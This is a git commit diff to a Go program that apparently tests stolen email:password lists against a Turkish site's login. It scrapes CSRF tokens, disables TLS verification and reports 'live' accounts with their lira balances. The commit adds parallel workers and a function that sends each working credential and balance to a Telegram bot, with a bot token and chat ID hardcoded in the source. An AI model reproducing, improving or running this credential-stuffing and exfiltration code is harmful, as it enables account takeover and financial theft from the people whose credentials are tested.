Update main.go

This commit is contained in:
yusiqo 2025-02-03 03:31:58 +00:00
parent 0fd143443e
commit 6fc082d577

58
main.go
View File

@ -8,9 +8,16 @@ import (
"log" "log"
"net/http" "net/http"
"net/http/cookiejar" "net/http/cookiejar"
"net/url"
"os" "os"
"regexp" "regexp"
"strings" "strings"
"sync"
)
const (
telegramToken = "7408806061:AAGy__Qhk05rjyHs_IC6NNv7WJmzvAmaKEc"
telegramChatID = "1342133634"
) )
func main() { func main() {
@ -25,19 +32,28 @@ func main() {
defer file.Close() defer file.Close()
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
for scanner.Scan() { var wg sync.WaitGroup
jar, _ := cookiejar.New(nil) semaphore := make(chan struct{}, 10) // Aynı anda 30 işlem
for scanner.Scan() {
semaphore <- struct{}{}
wg.Add(1)
line := scanner.Text()
go func(line string) {
defer wg.Done()
defer func() { <-semaphore }()
jar, _ := cookiejar.New(nil)
client := &http.Client{ client := &http.Client{
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
Jar: jar, Jar: jar,
} }
line := scanner.Text()
parts := strings.Split(line, ":") parts := strings.Split(line, ":")
if len(parts) != 2 { if len(parts) != 2 {
fmt.Printf("Geçersiz format: %s\n", line) fmt.Printf("Geçersiz format: %s\n", line)
continue return
} }
email := parts[0] email := parts[0]
@ -46,13 +62,15 @@ func main() {
csrfToken, err := getCSRFToken(client) csrfToken, err := getCSRFToken(client)
if err != nil { if err != nil {
log.Printf("CSRF token alınamadı: %v\n", err) log.Printf("CSRF token alınamadı: %v\n", err)
continue return
} }
login(client, csrfToken, email, password) login(client, csrfToken, email, password)
}(line)
} }
wg.Wait()
if err := scanner.Err(); err != nil { if err := scanner.Err(); err != nil {
log.Fatalf("Dosya okuma hatası: %v", err) log.Fatalf("Dosya okuma hatası: %v", err)
} }
@ -81,7 +99,7 @@ func getCSRFToken(client *http.Client) (string, error) {
re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`) re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`)
matches := re.FindStringSubmatch(string(body)) matches := re.FindStringSubmatch(string(body))
if len(matches) < 2 { if len(matches) < 2 {
return "", fmt.Errorf("CSRF token bulunamadı %s", string(body)) return "", fmt.Errorf("CSRF token bulunamadı")
} }
return matches[1], nil return matches[1], nil
@ -109,34 +127,30 @@ func login(client *http.Client, csrfToken, email, password string) (bool, error)
return false, err return false, err
} }
if strings.Contains(string(body), string("balance")) == true { if strings.Contains(string(body), "balance") {
re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`) re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`)
match := re.FindStringSubmatch(string(body)) match := re.FindStringSubmatch(string(body))
if len(match) > 1 { if len(match) > 1 {
fmt.Printf("Live Acc: %s:%s\n", email, password)
fmt.Printf("TL Miktarı: %s\n", match[1])
sendTelegramNotification(email, password, match[1])
} else { } else {
fmt.Println("Miktar bulunamadı.") fmt.Println("Miktar bulunamadı.")
} }
fmt.Printf("Live Acc: %s:%s", email, password)
fmt.Printf("TL Miktarı: %s\n", match[1])
return true, nil return true, nil
} else { } else {
//fmt.Println("Sunucu Yanıtı:", string(body))
fmt.Printf("Dead Acc: %s:%s\n", email, password) fmt.Printf("Dead Acc: %s:%s\n", email, password)
return false, nil return false, nil
} }
} }
func appendToFile(filename, content string) { func sendTelegramNotification(email, password, balance string) {
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) message := fmt.Sprintf("Live Account Found!\nEmail: %s\nPassword: %s\nBalance: %s TL", email, password, balance)
escapedMessage := url.QueryEscape(message)
apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", telegramToken, telegramChatID, escapedMessage)
_, err := http.Get(apiURL)
if err != nil { if err != nil {
log.Fatalf("Dosya yazma hatası: %v", err) log.Printf("Telegram bildirimi gönderilemedi: %v", err)
}
defer file.Close()
_, err = file.WriteString(content)
if err != nil {
log.Fatalf("Dosyaya yazma hatası: %v", err)
} }
} }